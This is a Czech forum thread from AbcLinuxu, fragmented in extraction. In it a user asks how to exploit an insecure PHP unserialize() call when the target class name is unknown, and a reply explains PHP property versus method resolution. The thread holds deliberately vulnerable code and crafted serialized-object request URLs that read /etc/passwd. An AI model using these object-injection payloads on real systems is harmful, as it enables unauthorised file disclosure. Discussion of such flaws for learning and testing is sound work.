Portál AbcLinuxu, 8. května 2025 13:21
$rce = unserialize($_REQUEST['blah']); echo $rce->toString();Akorát, že já nevím jméno toho objektu, kterému mám tou deserializací změnit nějaké ty properties.. Nenapadá vás něco co by to mohlo být? Díky!
toString
, to volání spadne a vypíše, jak se ta třída jmenuje class nevim { public $filename = 'xyz'; public function toString() { echo file_get_contents($this->filename); } } $rce = unserialize($_GET['blah']); echo $rce->toString();Kdybych věděl jméno té třídy, tak můžu poslat request třeba:
http://url/skript.php?blah=O:5:"nevim":1:{s:8:"filename";s:11:"/etc/passwd";}A vypsat si tím soubor /etc/passwd, ale když neznám jméno té třídy, tak se mi zdá, že jsem bez šance cokoliv zkoušet, nebo ne? I přesto to ale zkouším všeljak, nicméně ikdyž zkusím změnit property toString, tak mi to nepomůže - nevypíše to nic extra, dokonce to funguje jakoby se nechumelilo:
http://url/skript.php?blah=O:5:"nevim":2:{s:8:"filename";s:11:"/etc/passwd";s:8:"toString";s:6:"blabla";}Funguje no problem na mým testovacím serveru. Tak nevím..
$t->toString
vytáhne tu hodnotu, ale $t->toString()
zavolá takto pojmenovanou metodu z prototypu třídy (i když existuje takto pojmenovaná hodnota), zatímco pokud taková metoda není definována, pokusí se zavolat $t->toString->__invoke()
, tj. metodu třídy té hodnoty.
Tiskni
Sdílej:
ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.